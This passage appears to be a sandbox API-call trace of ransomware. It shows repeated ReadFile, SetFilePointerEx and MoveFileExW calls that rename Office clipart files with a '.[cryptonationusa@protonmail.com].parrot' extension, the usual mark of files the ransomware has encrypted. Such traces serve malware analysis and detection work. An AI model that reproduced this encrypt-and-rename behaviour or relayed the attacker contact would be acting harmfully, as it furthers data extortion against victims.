lpOverlapped=0x0) returned 1 [0154.521] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.522] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2ad, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2ad, lpOverlapped=0x0) returned 1 [0154.522] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.522] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01294_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01294_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01294_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01294_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.523] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x690268 | out: hHeap=0x5b0000) returned 1 [0154.523] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0154.523] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0154.525] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.525] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0154.526] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.526] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x161, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x161, lpOverlapped=0x0) returned 1 [0154.527] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.527] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01295_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01295_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01295_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01295_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.531] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x690268 | out: hHeap=0x5b0000) returned 1 [0154.531] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0154.531] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3174070 | out: hHeap=0x5b0000) returned 1 [0154.533] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.533] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0154.534] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.534] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1ef, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1ef, lpOverlapped=0x0) returned 1 [0154.534] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.535] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01296_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01296_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01296_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01296_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.536] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x690268 | out: hHeap=0x5b0000) returned 1 [0154.536] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0154.536] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0154.538] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.538] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0154.539] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.540] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x37e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x37e, lpOverlapped=0x0) returned 1 [0154.540] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.540] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01297_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01297_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01297_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01297_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.542] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x690268 | out: hHeap=0x5b0000) returned 1 [0154.542] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0154.542] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0154.545] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.545] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0154.545] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.546] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2bc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2bc, lpOverlapped=0x0) returned 1 [0154.546] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.546] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01298_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01298_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01298_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01298_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.547] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x690268 | out: hHeap=0x5b0000) returned 1 [0154.547] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0154.548] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0154.549] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.549] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0154.550] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.550] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x13e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x13e, lpOverlapped=0x0) returned 1 [0154.551] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.551] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01299_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01299_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01299_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01299_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.553] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x690268 | out: hHeap=0x5b0000) returned 1 [0154.553] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0154.553] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6049a8 | out: hHeap=0x5b0000) returned 1 [0154.555] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.555] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0154.556] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.556] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x250, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x250, lpOverlapped=0x0) returned 1 [0154.556] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.556] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01300_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01300_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01300_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01300_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.558] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x690268 | out: hHeap=0x5b0000) returned 1 [0154.558] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0154.558] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0154.559] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.560] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0154.561] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.561] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2a9, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2a9, lpOverlapped=0x0) returned 1 [0154.561] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.561] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01301_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01301_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01301_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01301_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x690268 | out: hHeap=0x5b0000) returned 1 [0154.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0154.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0154.564] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.564] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0154.567] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.567] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2076, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2076, lpOverlapped=0x0) returned 1 [0154.568] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.568] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01304G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01304g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01304G.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01304g.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.569] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x690268 | out: hHeap=0x5b0000) returned 1 [0154.569] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0154.569] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0154.572] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.572] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0154.573] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.573] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x172, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x172, lpOverlapped=0x0) returned 1 [0154.573] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.573] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01330_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01330_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x690268 | out: hHeap=0x5b0000) returned 1 [0154.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0154.576] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d5d18 | out: hHeap=0x5b0000) returned 1 [0154.581] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.581] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0154.582] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.582] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x899, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x899, lpOverlapped=0x0) returned 1 [0154.582] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.583] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01734_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01734_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01734_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01734_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.585] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x690268 | out: hHeap=0x5b0000) returned 1 [0154.585] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0154.585] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0154.587] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.587] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0154.588] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.588] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2c3, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2c3, lpOverlapped=0x0) returned 1 [0154.588] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.588] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01740_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01740_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01740_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01740_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.590] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3174070 | out: hHeap=0x5b0000) returned 1 [0154.590] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0154.590] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0154.592] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.592] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0154.593] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.593] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x253, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x253, lpOverlapped=0x0) returned 1 [0154.593] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.594] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01742_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01742_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01742_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01742_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.595] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3174070 | out: hHeap=0x5b0000) returned 1 [0154.595] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0154.595] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0154.598] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.598] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0154.599] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.599] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4d5, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4d5, lpOverlapped=0x0) returned 1 [0154.599] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.600] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01743_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01743_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01743_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01743_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.601] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3174070 | out: hHeap=0x5b0000) returned 1 [0154.601] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0154.601] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0154.603] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.603] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0154.638] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.638] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x31f, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x31f, lpOverlapped=0x0) returned 1 [0154.639] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.639] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01744_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01744_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01744_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01744_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 